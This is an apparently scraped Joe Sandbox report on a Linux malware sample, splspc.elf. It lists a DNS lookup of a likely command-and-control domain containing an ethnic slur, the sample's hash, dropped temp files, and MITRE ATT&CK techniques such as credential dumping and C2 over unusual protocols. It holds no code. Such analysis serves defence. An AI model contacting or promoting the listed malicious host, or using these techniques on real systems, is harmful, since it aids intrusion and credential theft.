Oct 28, 2024 07:56:06.121932030 CET	185.181.61.24	192.168.2.13	0xb577	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false

Start time (UTC):	06:55:46
Start date (UTC):	28/10/2024
Path:	/tmp/splspc.elf
Arguments:	/tmp/splspc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	06:55:47
Start date (UTC):	28/10/2024
Path:	/tmp/splspc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splspc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.1ValUD (deleted)

/tmp/qemu-open.1ojWLD (deleted)

/tmp/qemu-open.3AnweE (deleted)

/tmp/qemu-open.3UlfMF (deleted)

/tmp/qemu-open.3cGTOD (deleted)

/tmp/qemu-open.4Eio1E (deleted)

/tmp/qemu-open.4gCTIC (deleted)

/tmp/qemu-open.4jhhWG (deleted)

/tmp/qemu-open.4s7ylE (deleted)

/tmp/qemu-open.6f9FSF (deleted)

/tmp/qemu-open.7TIhcE (deleted)

/tmp/qemu-open.8J5dhE (deleted)

/tmp/qemu-open.8gEdnG (deleted)

/tmp/qemu-open.AJsL8E (deleted)

/tmp/qemu-open.AL7hhG (deleted)

/tmp/qemu-open.AqZ8yF (deleted)

/tmp/qemu-open.BEpqcG (deleted)

/tmp/qemu-open.DSD7QF (deleted)

/tmp/qemu-open.E3MJND (deleted)

/tmp/qemu-open.E6yuMC (deleted)

/tmp/qemu-open.G3bnTG (deleted)

/tmp/qemu-open.JW0WrF (deleted)

/tmp/qemu-open.Ja55wD (deleted)

/tmp/qemu-open.KgwjoE (deleted)

/tmp/qemu-open.MNDpwG (deleted)

/tmp/qemu-open.N0OQ5F (deleted)

/tmp/qemu-open.NoiOkD (deleted)

/tmp/qemu-open.OToFuE (deleted)

/tmp/qemu-open.PkXQyF (deleted)

/tmp/qemu-open.QlaAuE (deleted)

/tmp/qemu-open.RSi5rE (deleted)

/tmp/qemu-open.SXfTRG (deleted)

/tmp/qemu-open.U2B8HG (deleted)

/tmp/qemu-open.VFUItF (deleted)

Linux Analysis Report
splspc.elf

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre